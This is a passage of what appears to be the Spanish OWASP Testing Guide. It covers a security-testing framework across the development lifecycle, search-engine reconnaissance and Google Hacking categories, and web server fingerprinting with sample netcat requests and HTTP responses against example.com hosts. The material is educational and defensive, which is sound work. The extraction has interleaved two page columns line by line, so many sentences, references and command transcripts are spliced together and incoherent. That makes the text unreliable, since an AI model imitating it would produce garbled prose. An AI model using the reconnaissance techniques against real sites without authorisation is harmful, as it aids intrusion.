proporcionan un nivel de garantía, seguridad y confianza del software que cumple [14] Gary McGraw, Beyond the Badness-ometer - drdobbs.com
con el estándar, a través de los procesos de revisión de seguridad dentro de la
organización. [15] FFIEC, Authentication in an Internet Banking Environment -
www.ffiec.gov
[16] PCI Security Standards Council, PCI Data Security Standard -

Por último, los oficiales en jefe de la información (CIO) y oficiales en jefe de pcisecuritystandards.org
seguridad de la información (CISO), que son responsables del presupuesto que
debe asignarse en recursos para la seguridad, buscan la derivación de un análisis de [17] MSDN, Cheat Sheet: Web Application Security Frame -
costo - beneficio de los datos de pruebas de seguridad. Esto les permite tomar ¶msdn.microsoft.com
decisiones fundamentadas con respecto a las actividades de seguridad y
herramientas en las que deben invertir. Una de las métricas que respaldan dicho [18] MSDN, Improving Web Application Security, Chapter 2, Threat And
análisis es el retorno sobre la inversión (ROI) en seguridad [23]. Para derivar dichas Countermeasures - msdn.microsoft.com
métricas de los datos de pruebas de seguridad, es importante cuantificar la
diferencia entre el riesgo debido a la exposición de las vulnerabilidades y la [19] Sindre,G. Opdmal A., Capturing Security Requirements Through
efectividad de las pruebas de seguridad en la mitigación de los riesgos de Misuse Cases - folk.uio.no
seguridad, y factorizar esta brecha con el costo de las actividades de pruebas de
seguridad o las herramientas de prueba adoptadas. [20] Improving Security Across the Software Development Lifecycle Task
Force, Referred Data from Caper Johns, Software Assessments,
Benchmarks and Best Practices - criminal-justice-careers.com
Referencias [21] MITRE, Being Explicit About Weaknesses, Slide 30, Coverage of CWE
- cwe.mitre.org

31
[22] Marco Morana, Building Security Into The Software Life Cycle, A Business Case - blackhat.com
El Framework Referencial de Pruebas OWASP
3 Esta sección describe un framework de pruebas típico que puede desarrollarse dentro de una
organización. Puede ser visto como un framework referencial que comprende técnicas y tareas
que son apropiadas en diferentes fases del ciclo de vida de desarrollo del software (SDLC).

32
Resumen su lugar, presentamos un modelo de desarrollo genérico, y el lector debe seguirlo

según el proceso de su empresa.
Esta sección describe un framework de pruebas típico que puede desarrollarse
dentro de una organización. Puede ser visto como un framework referencial que
comprende técnicas y tareas que son apropiadas en diferentes fases del ciclo de
vida de desarrollo del software (SDLC). Las empresas y equipos de proyecto Este framework de pruebas consiste de las siguientes actividades que deben
pueden utilizar este modelo para desarrollar su propio framework de pruebas y ocurrir:
para mirar los servicios de pruebas de los proveedores. Este framework de
pruebas no puede considerarse como prescriptivo, sino como un enfoque flexible
que puede ser extendido y moldeado para adaptarse a los procesos de desarrollo
y cultura de la organización.
• Antes del inicio del desarrollo
Esta sección pretende ayudar a las organizaciones a construir un proceso • Durante la definición y diseño
completo de análisis estratégico y no está dirigida a consultores o contratistas
que tienden a ser más tácticos en las zonas específicas de la prueba. •.Durante el desarrollo
• Durante la implementación
Es fundamental entender por qué se debe crear un framework de pruebas de • Mantenimiento y operaciones
inicio a fin; la respuesta es porque es crucial para evaluar y mejorar la seguridad
del software. En la escritura de código seguro, Howard y LeBlanc cuentan que
emitir un boletín de seguridad le cuesta a Microsoft por lo menos $100.000, y les
cuesta colectivamente a sus clientes mucho más que eso el aplicar los parches de Fase 1: Antes del inicio del desarrollo
seguridad. También observan que el sitio web de delitos informáticos del
Fase 1.1: Defina un SDLC
gobierno de Estados Unidos (http://www.justice.gov/criminal/cybercrime/)
detalla recientes casos criminales y la pérdida de las organizaciones. Las
Antes del inicio del desarrollo de aplicaciones, un SDLC adecuado debe ser
pérdidas comunes superan con creces los USD $100.000.
definido donde la seguridad es inherente en cada etapa.
Con una economía como esta, no es de extrañarse por qué los proveedores de
Fase 1.2: Revise las políticas y estándares
software pasan de realizar únicamente pruebas de seguridad de Caja Negra, que
sólo se puede realizar en las aplicaciones que ya se han desarrollado, a
Asegúrese de que existen adecuadas políticas, estándares y documentación en el
concentrarse en las pruebas en los primeros ciclos del desarrollo de aplicaciones
lugar. La documentación es extremadamente importante ya que da a los equipos las
tales como la definición, diseño y desarrollo.
pautas de desarrollo y las políticas que pueden seguir.
Muchos practicantes de seguridad todavía ven la seguridad en el reino de las

La gente sólo puede hacer lo correcto si sabe lo que es lo correcto.
pruebas de penetración. Como comentamos antes, aunque las pruebas de
penetración tienen un papel que desempeñar, son generalmente ineficaces en
encontrar errores y dependen excesivamente de la habilidad del evaluador. Solo
deben considerarse como técnicas de implementación, o para crear conciencia
Si la aplicación se desarrollara en Java, es esencial que exista un estándar de
sobre problemas de producción. Para mejorar la seguridad de las aplicaciones,
codificación segura de Java. Si la aplicación debe utilizar la criptografía, es
debe mejorarse la calidad de la seguridad del software. Esto significa probar la
esencial que haya un estándar de criptografía. Ninguna política o norma puede
seguridad en las etapas de definición, diseño, desarrollo, implementación y
cubrir cada situación que enfrentará el equipo de desarrollo. Al documentar las
mantenimiento y no depender de la costosa estrategia de esperar hasta que el
cuestiones comunes y predecibles, habrá menos decisiones que necesiten ser
código esté construido completamente.
hechas durante el proceso de desarrollo.
Como comentamos en la introducción de este documento, existen muchas

Fase 1.3: Desarrolle criterios de mediciones y métricas y asegure su
metodologías de desarrollo como el proceso unificado racional, desarrollo ágil y
trazabilidad
extremo y metodologías tradicionales de cascada. La intención de esta guía no es
proponer ni una metodología de desarrollo en particular ni proporcionar Antes de que comience el desarrollo, planifique el plan de medición. Definir los
orientación específica que se adhiere a cualquier metodología en particular. En criterios que deben medirse proporciona visibilidad de los defectos tanto en el
33
proceso como en el producto. Es esencial definir las métricas antes de que Las aplicaciones deben tener una arquitectura y diseño documentados. Esta
comience el desarrollo, ya que puede haber la necesidad de modificar el proceso documentación puede incluir modelos, documentos textuales y otros artefactos
con el fin de capturar los datos. similares. Es esencial probar estos artefactos para asegurar que el diseño y la
arquitectura de la aplicación mantienen el nivel adecuado de seguridad según lo
definido en los requisitos.
Fase 2: Durante la definición y diseño
Fase 2.1: Revise los requisitos de seguridad Identificar fallas de seguridad en la fase de diseño no sólo es uno de los momentos
más eficientes en costo para identificar fallas, sino que puede ser uno de los
Los requisitos de seguridad definen cómo funciona una aplicación desde momentos más eficaces para realizar cambios. Por ejemplo, si se identifica que el
diseño exige autorización para las decisiones en varios lugares, puede ser apropiado
considerar un componente de autorizaciones centralizado. Si la aplicación realiza
una validación de datos en múltiples lugares, puede ser apropiado desarrollar un
una perspectiva de seguridad. Es esencial que los requerimientos de seguridad marco de validación central (es decir, la validación de correcciones en un solo
sean probados. Probar, en este caso, significa verificar los supuestos que se lugar, en vez de cientos de lugares; es mucho más económico).
hacen en los requisitos y las pruebas para ver si hay diferencias en las
definiciones de los requisitos.
Si se descubren debilidades, éstas deben ser entregadas al arquitecto del sistema

para buscar enfoques alternativos.
Por ejemplo, si hay un requisito de seguridad que indica que los usuarios deben
estar registrados antes de que puedan acceder a la sección de documentos de un Fase 2.3: Cree y revise modelos UML
sitio web, ¿esto significa que el usuario debe estar registrado en el sistema o que
el usuario esté autenticado? Asegúrese de que los requerimientos sean muy Una vez que el diseño y la arquitectura estén completos, construya modelos de
claros. Lenguaje de Modelaje Unificado (UML) que describan cómo funciona la
aplicación. En algunos casos, estos ya pueden estar disponibles. Use estos modelos
para confirmar con los diseñadores de sistemas una comprensión exacta de cómo
funciona la aplicación. Si se descubren debilidades, éstas deben ser entregadas al
Al buscar brechas de necesidades, considere mirar los mecanismos de seguridad arquitecto del sistema para buscar enfoques alternativos.
tales como:
Etapa 2.4: Cree y revise modelos de amenazas

• Administración de usuarios
Provisto con la revision del diseño y la arquitectura de los modelos UML, y
• Autenticación habiendo aclarado exactamente cómo funciona el sistema, lleve a cabo un ejercicio
de modelaje de amenazas. Desarrolle escenarios realistas de las amenazas. Analice
• Autorización el diseño y la arquitectura para asegurar que estas amenazas han sido mitigadas,
aceptadas por el negocio o asignadas a una tercera persona, como una empresa de
• Confidencialidad de datos seguros. Cuando las amenazas identificadas no tengan estrategias de mitigación,
revise el diseño y la
• Integridad
• Responsabilidad
arquitectura con el arquitecto de sistemas para modificar el diseño.
• Administración de sesiones
• Seguridad de transporte
Fase 3: Durante el desarrollo
• Segregación de sistema de información en niveles
En teoría, el desarrollo es la aplicación de un diseño. Sin embargo, en el mundo
• Cumplimiento de legislación y estándares (incluidas las normas de privacidad,
real, muchas decisiones de diseño se realizan durante el desarrollo de la
gubernamentales e industria)
codificación. Son, a menudo, decisiones pequeñas que eran demasiado detalladas
para ser descritas en el diseño, o temas donde no se ofrecieron políticas o
estándares de orientación. Si el diseño y la arquitectura no fueran adecuados, el
desarrollador se enfrentará a muchas decisiones. Si hay normas y políticas
Fase 2.2: Revise el diseño y arquitectura
insuficientes, el desarrollador se enfrentará aún a más decisiones.

34
Para más información sobre las listas OWASP, por favor consulte la guía de
OWASP para Seguridad de Aplicaciones Web, o la última edición de la OWASP
Fase 3.1: Camine a través del código Top 10.
El equipo de seguridad debería realizar una "caminata" a través del código con los
desarrolladores y, en algunos casos, los arquitectos del sistema. Una caminata a
través del código es un recorrido de alto nivel a través del código, donde los Fase 4: Durante la fase de implementación
desarrolladores pueden explicar la lógica y el flujo del código implementado. Esta
caminata permite al equipo de revisión de código obtener una comprensión general Fase 4.1: Prueba de aplicación y penetración
del código y permite a los desarrolladores explicar por qué ciertas cosas se
desarrollaron de la manera en que lo hicieron. Habiendo probado los requisitos, analizado el diseño y realizada la revisión de
código, se puede suponer que todos los temas han sido cubiertos. Esperemos que
este sea el caso, pero realizar pruebas de penetración de la aplicación después de
que se ha implementado proporciona una última comprobación para asegurarse
El propósito no es realizar una revisión de código, sino entender en un nivel alto el de que nada se ha escapado.
flujo, el diseño y la estructura del código que compone la aplicación.
Fase 3.2: Revisiones de código
Armado con una buena comprensión de cómo está estructurado el código y por qué
ciertas cosas fueron codificadas de la manera en que lo fueron, el evaluador puede Fase 4.2: Pruebas de gestión de configuración
examinar ahora el código real en busca de defectos de seguridad.
La prueba de penetración de la aplicación debe incluir la comprobación de cómo
la infraestructura fue implementada y asegurada. Aunque la aplicación puede ser
segura, un pequeño aspecto de la configuración podría estar todavía en una fase
Las revisiones de código estático validan el código con una serie de listas de de instalación por defecto y ser vulnerable a la explotación.
verificación, que incluyen:
Fase 5: Mantenimiento y operaciones

• Requerimientos del negocio para la disponibilidad, confidencialidad e integridad.
Fase 5.1: Revisión de la gestión de la conducta operacional
• Guía OWASP o listado Top 10 para exposiciones técnicas (dependiendo de la
profundidad de la revisión). Debe existir un proceso implantado que detalle cómo se maneja tanto la parte
operativa de la aplicación como la infraestructura.
• Cuestiones específicas relacionadas con el lenguaje o el framework utilizado, tales
como el papel Escarlata para el PHP o la lista de Garantía de codificación
Microsoft para ASP.NET.
Etapa 5.2: Realice pruebas de salud de la conducta periódicamente
• Los requisitos específicos de la industria, tales como Sarbanes-Oxley 404,
COPPA, ISO/IEC 27002, APRA, HIPAA, las guías de Visa Merchant u otros Las pruebas de salud de la conducta deben realizarse mensual o trimestralmente,
regímenes normativos. tanto sobre la aplicación como sobre la infraestructura para garantizar que no
hayan aparecido nuevos riesgos de seguridad y que el nivel de seguridad esté
todavía intacto.
En términos del retorno sobre los recursos invertidos (sobre todo tiempo), las
revisiones de código estático producen rendimientos de mayor calidad que
cualquier otro método Etapa 5.3: Garantice la verificación después del cambio
Después de que cada cambio ha sido aprobado y probado en el entorno de

control de calidad e implementado en el entorno de producción, es de vital
de revisión de seguridad y dependen menos en la habilidad del revisor. Sin importancia que el cambio sea comprobado para asegurarse de que el nivel de
embargo, no son una solución milagrosa y necesitan ser consideradas seguridad no ha sido afectado por él . Esto debe estar integrado dentro del
cuidadosamente dentro de un régimen de prueba de amplio espectro. proceso de gestión del cambio.
Un flujo de trabajo de pruebas SDLC típico

35
La siguiente imagen muestra un típico flujo de pruebas de SDLC.
Pruebas de Seguridad de
4 Aplicaciones Web
Las siguientes secciones describen las 12 categorías de la Metodología de
Pruebas de Penetración de una Aplicación Web.

36
Pruebas: Introducción y objetivos • Abierto: cada experto en seguridad puede participar con su experiencia en el
proyecto. Todo es gratis.
Esta sección describe la metodología OWASP de pruebas de seguridad de
aplicaciones web y explica cómo evaluar para encontrar evidencias de • Colaborativo: Se realizan lluvias de ideas antes de que los artículos sean escritos,
vulnerabilidades dentro de la aplicación, debido a las deficiencias de los así el equipo puede compartir ideas y desarrollar una visión colectiva del proyecto.
controles de seguridad identificados. Esto significa un consenso básico, un público más amplio y mayor participación.
¿Qué son las pruebas de seguridad de aplicaciones web? Este enfoque tiende a crear una metodología de pruebas definida que será:
Una prueba de seguridad es un método para evaluar la fiabilidad de un sistema

informático o red mediante una metódica validación y verificación de la
efectividad de los controles de seguridad de la aplicación. Una prueba de
seguridad de aplicaciones web se centra sólo en evaluar la seguridad de una
• Constante
aplicación web. El proceso implica un análisis activo de la aplicación en busca
de deficiencias, fallas técnicas o vulnerabilidades. Cualquier problema de
• Reproducible
seguridad que se encuentre será presentado al propietario del sistema, junto con
una evaluación del impacto y una propuesta de mitigación o una solución
• Rigurosa
técnica.
• Bajo control de calidad
Los problemas que se abordarán están totalmente documentados y probados. Es

¿Qué es una vulnerabilidad?
importante utilizar un método para probar todas las vulnerabilidades conocidas y
documentar todas las actividades de pruebas de seguridad.
Una vulnerabilidad es un defecto o una debilidad en el diseño, implementación,
operación o gestión de un sistema que podría ser explotado para comprometer
los objetivos de seguridad del sistema.
¿Cuál es la metodología de pruebas de OWASP?
Las pruebas de seguridad nunca serán una ciencia exacta donde se puede definir
¿Qué es una amenaza?
una lista completa de todos los temas posibles que deben ser probados. De hecho,
las pruebas de seguridad son sólo una técnica apropiada para probar la seguridad de
Una amenaza es cualquier cosa (un atacante malintencionado externo, un usuario
aplicaciones web bajo ciertas circunstancias. El objetivo de este proyecto es recoger
interno, una inestabilidad del sistema, etc.) que puedan dañar los activos propios
todas las técnicas de pruebas posibles, explicar estas técnicas y mantener la guía
de una aplicación (recursos de valor como los datos en una base de datos o en el
actualizada. El método de pruebas de seguridad de aplicaciones Web OWASP se
sistema de archivos) mediante la explotación de una vulnerabilidad.
basa en el enfoque de Caja Negra. El evaluador no sabe nada o tiene muy poca
información sobre la aplicación a probar.
¿Qué es una prueba?
Una prueba es una acción que permite demostrar que una aplicación cumple con
los requisitos de seguridad de sus grupos de interés.
El Enfoque en la escritura de esta guía
El enfoque de la OWASP es abierto y colaborativo:

37
El modelo de prueba consiste de: El conjunto de pruebas activas se han dividido en 11 categorías para un total de 91
controles:
• Evaluador: uien realiza las actividades de prueba
• Herramientas y metodología: el núcleo de este proyecto de guía de pruebas
• Aplicación: la Caja Negra para la prueba

• Recopilación de información
• Pruebas de gestión de configuración e implementación

La prueba se divide en dos fases:
• Pruebas de gestión de identidad
• Pruebas de autenticación
• Fase 1 Modo pasivo:
• Pruebas de autorización
En el modo pasivo, el evaluador intenta comprender la lógica de la aplicación y
juega con la aplicación. Se pueden utilizar herramientas para la recopilación de • Pruebas de gestión de sesión
información. Por ejemplo, un proxy HTTP puede ser utilizado para observar todas
las solicitudes y respuestas HTTP. Al final de esta fase, el evaluador debe • Pruebas de validación de ingreso
comprender todos los puntos de acceso (puertas) de la aplicación (por ejemplo,
encabezados HTTP, parámetros y cookies). La sección de Recolección de • Manejo de errores
Información explica cómo realizar una prueba de modo pasivo.
• Criptografía
• Pruebas de lógica del negocio

Por ejemplo, el evaluador puede encontrar lo siguiente:
• Pruebas del punto de vista del cliente
https://www.example.com/login/Authentic_Form.html
Pruebas de la recopilación de la información
Entender la configuración implementada del servidor que aloja la aplicación web es

Esto puede indicar una forma de autenticación donde la aplicación solicita un casi tan importante como la aplicación misma de pruebas de seguridad. Después de
nombre de usuario y contraseña. todo, una cadena de aplicaciones sólo es tan fuerte como su eslabón más débil. Las
plataformas de aplicación son amplias y variadas, pero algunos errores clave de
configuración de la plataforma pueden comprometer la aplicación de la misma
manera que una aplicación no segura puede comprometer al servidor.
Los siguientes parámetros representan dos puntos de acceso (puertas) a la
aplicación.
Mediante un motor de búsqueda, realice una búsqueda de

descubrimiento/reconocimiento de fugas de información (OTG-INFO-001)
http://www.example.com/Appx.jsp?a=1&b=1
Resumen
Existen elementos directos e indirectos para el descubrimiento y reconocimiento

En este caso, la aplicación muestra dos puertas (parámetros a y b). Todas las mediante motores de búsqueda. Los métodos directos se refieren a buscar en los
puertas que se encuentran en esta fase representan un punto de prueba. Una hoja de índices y el contenido asociado al caché. Los métodos indirectos se refieren a
cálculo con el árbol de directorios de la aplicación y todos los puntos de acceso información sensible de la configuración y diseño mediante búsquedas en foros,
podría ser útil para la segunda fase. grupos de noticias y sitios de licitación web.
Una vez que un robot de motores de búsqueda ha terminado de arrastrarse,

comienza la indexación de la página web basada en etiquetas y atributos asociados,
• Fase 2 Modo Activo: tales como<TITLE>, con el fin de devolver los resultados de búsqueda relevantes
[1]. Si el archivo robots.txt no está actualizado durante la vida útil del sitio web y en
En esta fase el evaluador empieza a probar utilizando la metodología descrita en las línea HTML las meta etiquetas, que indican a los robots que no generen índices del
secciones siguientes.
38
contenido, no han sido utilizadas, entonces es posible que los índices incluyan • ixquick/Startpage
contenido web cuya inclusión no estaba prevista por parte de los propietarios. Los
propietarios de páginas web pueden utilizar el mencionado robots.txt, meta • Google
etiquetas HTML, autenticación y herramientas proporcionados por los motores de
búsqueda para eliminar dicho contenido. • Shodan
• PunkSpider
Objetivos de la prueba
Para entender qué información sensible del diseño y configuración de la Duck Duck Go y ixquick/Startpage proveen información limitada al respecto de
aplicación/sistema/organización está expuesta directamente (en la página web de fugas del evaluador.
la organización) o indirectamente (en un sitio web de terceros).
Google ofrece el operador de búsqueda "cache:" avanzado [2], pero esto es el

Cómo probar equivalente a hacer clic en el "caché", al lado de cada resultado de búsqueda de
Google. Por lo tanto, usar el operador de búsqueda de "sitios" avanzado y luego
Use un motor de búsqueda para buscar: hacer clic en "cached" es preferible.
• Diagramas de red y configuraciones El Google SOAP Search API soporta el doGetCachedPage y los mensajes SOAP
de doGetCachedPageResponse asociado [3] para ayudar a recuperar páginas en
• Mensajes archivados y mensajes de correo electrónico caché. Una implementación de esto está en desarrollo por OWASP en el proyecto
"Google Hacking".
de los administradores y demás personal clave

PunkSpider es un motor de búsqueda de vulnerabilidades de aplicaciones web. Es
de poca utilidad para un evaluador de penetración mientras realiza un trabajo
manual. Sin embargo, puede ser útil para demostrar la facilidad con la cual los
• Procedimientos de inicio de sesión y otros formatos de nombre de usuario script-kiddies (usuarios inexpertos) pueden encontrar vulnerabilidades.
• Nombres de usuario y contraseñas
• Contenido de mensajes de error Por ejemplo, para encontrar el contenido de la web de owasp.org indexado por un
motor de búsqueda típico, la sintaxis requerida es:
• Desarrollo, prueba, UAT escenificando las versiones de la página web
Operadores de búsqueda
Utilizando la búsqueda avanzada del operador de búsqueda de "sitios", es

posible restringir los resultados de la búsqueda a un dominio específico [2]. No
limite las pruebas a un proveedor de motor de búsqueda ya que se pueden
generar diferentes resultados, dependiendo de cuándo rastrean los contenidos y
de sus propios algoritmos. Considere usar los siguientes buscadores:
• Baidu
• binsearch.info
• Bing
• Duck Duck Go
39
• Información sensible de compras en línea
Herramientas
[4] FoundStone SiteDigger: mcafee.com
[5] Google Hacker: yehg.net

Para mostrar el index.html de owasp.org como está en cache, la sintaxis es:
[6] Stach & Liu’s Google Hacking Diggity Project: bishopfox.com
[7] PunkSPIDER: punkspider.hyperiongray.com
Referencias
Web
[1] “Google Basics: Learn how Google Discovers, Crawls, and Serves Web
Pages” - support.google.com
[2] “Operators and More Search Help”: support.google.com
Base de datos de Google Hacking
La base de datos de Google Hacking es una lista muy útil de consultas de búsqueda
[3] “Google Hacking Database”: exploit-db.com
de Google. Las consultas se ponen en varias categorías:
Remediación
• Puntos de apoyo o bases de apoyo
Considere cuidadosamente la sensibilidad de la información del diseño y
• Archivos que contienen nombres de usuario
configuración antes de publicarla en línea.
• Directorios sensibles
• Detección de servidores web

Periódicamente revise la sensibilidad de la información del diseño y configuración
existente que está publicada en línea.
• Archivos vulnerables
• Servidores vulnerables
• Mensajes de error Use huellas digitales en el servidor web (OTG-INFO-002)
• Archivos que contienen información atractiva Resumen
• Archivos que contienen contraseñas El utilizar huellas digitales en el servidor web es una tarea fundamental para

40
el evaluador de penetración. Conocer la versión y el tipo de un servidor web
en ejecución permite a los evaluadores determinar vulnerabilidades conocidas y

cómo explotarlas adecuadamente para usarlas durante la prueba.
Hay varios proveedores diferentes y versiones de servidores web en el mercado

hoy. Conocer el tipo de servidor web que está siendo probado ayuda
significativamente en el proceso de prueba, y también puede cambiar el curso de la
prueba.
Del campo del servidor, se puede entender que el servidor es muy probablemente
Apache, versión 1.3.3, y que corre sobre un sistema operativo Linux.
Esta información se puede derivar enviando al servidor web comandos específicos
y analizando la respuesta de salida, como cada versión de software del servidor
Cuatro ejemplos de los encabezados de respuesta HTTP se indican a continuación:
web puede responder de manera distinta a estos comandos. Sabiendo cómo
responde cada tipo de servidor web a comandos específicos y manteniendo esta
información en una base de datos de huellas digitales de servidores web, un
evaluador de penetración puede enviar estos comandos al servidor web, analizar la
De un servidor Apache 1.3.23:
respuesta y compararla con la base de datos de firmas conocidas.
Tenga en cuenta que generalmente necesita varios comandos diferentes para HTTP/1.1 200 OK
identificar con precisión el servidor web, cómo las diferentes versiones pueden
reaccionar de manera similar para el mismo comando. Raramente las diferentes Date: Sun, 15 Jun 2003 17:10: 49 GMT
versiones reaccionan de la misma manera a todos los comandos HTTP; por lo que
mediante el envío de varios comandos diferentes, el evaluador puede aumentar la Server: Apache/1.3.23
precisión de su conjetura.
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Objetivos de las pruebas
Accept-Ranges: bytes
Encontrar la versión y el tipo de servidor web en ejecución para determinar
Content-Length: 196
vulnerabilidades conocidas y la manera de explotarlas para usar durante la prueba.
Connection: close
Cómo probar
De un servidor Microsoft IIS 5.0:

Prueba de Caja Negra
La forma más simple y más básica de identificar un servidor web es buscar en el

campo del servidor, en el encabezado de respuesta HTTP. Utilizamos Netcat en
este experimento.
Considere la siguiente respuesta de solicitud HTTP:

41
HTTP/1.1 200 OK
En este caso, el campo de servidor de esa respuesta es ofuscado. El evaluador no
Server: Microsoft-IIS/5.0 puede saber qué tipo de servidor web se ejecuta basado en dicha información.
Expires: Yours, 17 Jun 2003 01:41: 33 GMT
Date: Mon, 16 Jun 2003 01:41: 33 GMT 403 HTTP/1.1 Forbidden
Content-Type: text/HTML Date: Mon, 16 Jun 2003 02:41: 27 GMT
Accept-Ranges: bytes Server: Unknown-Webserver/1.0
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT Connection: close
Content-Type: text/HTML; charset=iso-8859-1

De un servidor Netscape Enterprise 4.1:
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:19: 04 GMT
Content-type: text/HTML
Comportamiento de protocolo
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Técnicas de comportamiento más refinadas toman en cuenta diversas
Content-length: 57 características de los varios servidores web disponibles en el mercado. Abajo está
una lista de algunas metodologías que permiten a los evaluadores deducir el tipo de
Accept-ranges: bytes servidor web que está en uso.
Ordenamiento de campo de encabezado HTTP

De un servidor SunONE 6.1:
El primer método consiste en observar el ordenamiento de los encabezados en la
respuesta. Cada servidor web tiene un orden interior del encabezado.
HTTP/1.1 200 OK
Supongamos las siguientes respuestas, como ejemplo:
Server: Sun-ONE-Web-Server/6.1
Respuesta de Apache 1.3.23
Date: Tue, 16 Jan 2007 14:53:45 GMT
Content-length: 1186
Content-type: text/html
Date: Tue, 16 Jan 2007 14:50:31 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Sin embargo, esta metodología de prueba es limitada en cuanto a precisión. Existen

varias técnicas que permiten a un sitio web oscurecer o modificar la cadena de
encabezado del servidor. Por ejemplo, uno podría obtener la siguiente respuesta:

42
$ nc apache.example.com 80 $ nc netscape.example.com 80
HEAD / HTTP/1.0 HEAD / HTTP/1.0
HTTP/1.1 200 OK HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT Server: Netscape-Enterprise/4.1
Server: Apache/1.3.23 Date: Mon, 16 Jun 2003 06:01: 40 GMT
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT Content-type: text/HTML
ETag: 32417-c4-3e5d8a83 Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Accept-Ranges: bytes Content-length: 57
Content-Length: 196 Accept-ranges: bytes
Connection: close
Respuesta de IIS 5.0 Respuesta de SunONE 6.1
$ nc iis.example.com 80 $ nc sunone.example.com 80
HEAD / HTTP/1.0 HEAD / HTTP/1.0
HTTP/1.1 200 OK HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0 Server: Sun-ONE-Web-Server/6.1
Content-Location: http://iis.example.com/Default.htm Date: Tue, 16 Jan 2007 15:23:37 GMT
Date: Fri, 01 Jan 1999 20:13: 52 GMT Content-length: 0
Content-Type: text/HTML Content-type: text/html
Accept-Ranges: bytes Date: Tue, 16 Jan 2007 15:20:26 GMT
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
Respuesta de Netscape Enterprise 4.1
Podemos notar que el orden de los campos de fecha y servidor difieren entre
Apache, Netscape Enterprise y IIS.
Pruebas de solicitudes con formato incorrecto
Otra prueba útil para ejecutar consiste en enviar solicitudes con formato incorrecto
o páginas inexistentes al servidor. Considere las siguientes respuestas HTTP.

43

$ nc sunone.example.com 80
$ nc apache.example.com 80 GET / HTTP/3.0
GET / HTTP/3.0 HTTP/1.1 400 Bad request
Server: Sun-ONE-Web-Server/6.1
HTTP/1.1 400 Bad Request
Date: Tue, 16 Jan 2007 15:25:00 GMT
Date: Sun, 15 Jun 2003 17:12: 37 GMT
Content-length: 0
Server: Apache/1.3.23
Content-type: text/html
Connection: close
Transfer: chunked
Podemos notar que cada servidor responde de forma diferente. La respuesta
también es diferente, dependiendo de la versión del servidor. Observaciones
Respuesta de IIS 5.0 similares se pueden hacer creando peticiones con un método HTTP
inexistente. Considere las siguientes respuestas:
$ nc iis.example.com 80
GET / HTTP/3.0
HTTP/1.1 200 OK
$ nc apache.example.com 80
Server: Microsoft-IIS/5.0
GET / JUNK/1.0
Content-Location: http://iis.example.com/Default.htm
HTTP/1.1 200 OK
Date: Fri, 01 Jan 1999 20:14: 02 GMT
Date: Sun, 15 Jun 2003 17:17: 47 GMT
Content-Type: text/HTML
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
ETag: 32417-c4-3e5d8a83
Respuesta de Netscape Enterprise 4.
$ nc netscape.example.com 80 Content-Length: 196
GET / HTTP/3.0
HTTP/1.1 505 HTTP Version Not Supported Respuesta de IIS 5.0
Date: Mon, 16 Jun 2003 06:04: 04 GMT
Content-length: 140
Content-type: text/HTML
Respuesta de SunONE 6.1

44
• Desenmascarame - desenmascara.me
$ nc iis.example.com 80
GET / JUNK/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 01 Jan 1999 20:14: 34 GMT
Content-Type: text/HTML
Content-Length: 87
Pruebas automatizadas
En lugar de confiar en la posibilidad de atrapar banners manualmente y

analizar los encabezados de servidores web, un evaluador puede utilizar
Respuesta de Netscape Enterprise 4.1 herramientas automatizadas para lograr los mismos resultados. Hay muchas
pruebas que se pueden llevar a cabo para dejar una huella digital precisa en un
$ nc netscape.example.com 80 servidor web. Por suerte, existen herramientas que permiten automatizar estas
pruebas. "httprint" es una de esas herramientas. httprint utiliza un diccionario
GET / JUNK/1.0 de firmas que le permite reconocer el tipo y la versión del servidor web que se
encuentra en uso.
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
A continuación se muestra un ejemplo de httprint en funcionamiento:
<BODY><H1>Bad request</H1>
Your browser sent to query this server could not understand.
Respuesta de SunONE 6.1
$ nc sunone.example.com 80
GET / JUNK/1.0
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Herramientas
• httprint - net-square.com Pruebas en línea
• httprecon - computec.ch Las herramientas en línea se pueden utilizar si el evaluador quiere probar más
sigilosamente y no desea conectarse directamente a la página web objetivo.
• Netcraft - netcraft.com Un ejemplo de una herramienta en línea que ofrece a menudo una gran
cantidad de información sobre servidores web objetivos es Netcraft. Con esta
45
herramienta podemos recuperar información acerca del sistema operativo, Proteja la capa de presentación del servidor web detrás de un proxy inverso
servidor web utilizado, tiempo de actividad del servidor, propietario Netblock, endurecido.
historial de cambios relacionados con el servidor web y el sistema operativo.
A continuación se muestra un ejemplo: Ofusque la capa de presentación de los encabezados del servidor web.
• Apache
• IIS
Revise los meta archivos del servidor web en

busca de fugas de información (OTG-INFO-
003)
Resumen
Esta sección describe cómo probar el archivo robots.txt en busca de fugas de

información de la(s) ruta(s) al directorio de la aplicación o de la carpeta de la
aplicación web. Además, también puede crearse la lista de directorios que deben
ser evitados por las arañas, robots o rastreadores como una dependencia de
rutas de ejecución del mapa a través de la aplicación (OTG-INFO-007)
Se espera que el proyecto OWASP Unmaskme se convierta en otra
herramienta en línea para dejar huellas digitales de cualquier sitio web con 1. Fuga de información de la ruta o rutas al directorio o carpeta de la aplicación
una interpretación global de todos los metadatos web extraídos. La idea detrás web.
de este proyecto es que cualquier persona a cargo de un sitio web pueda
probar los metadatos que el sitio muestra al mundo y evaluar desde un punto 2. Crear la lista de directorios que deben ser evitados por las arañas, robots o
de vista de seguridad. rastreadores.
Aunque este proyecto está aún en desarrollo, usted puede probar el concepto
de esta idea en español.
Cómo se prueba
robots.txt
Referencias
Libros Blancos Las arañas, robots o rastreadores web recuperan una página web y luego,
recursivamente, atraviesan hipervínculos para recuperar otros contenidos web. Su
• Saumil Shah: “An Introduction to HTTP fingerprinting” comportamiento aceptado está especificado por el protocolo de Exclusión de
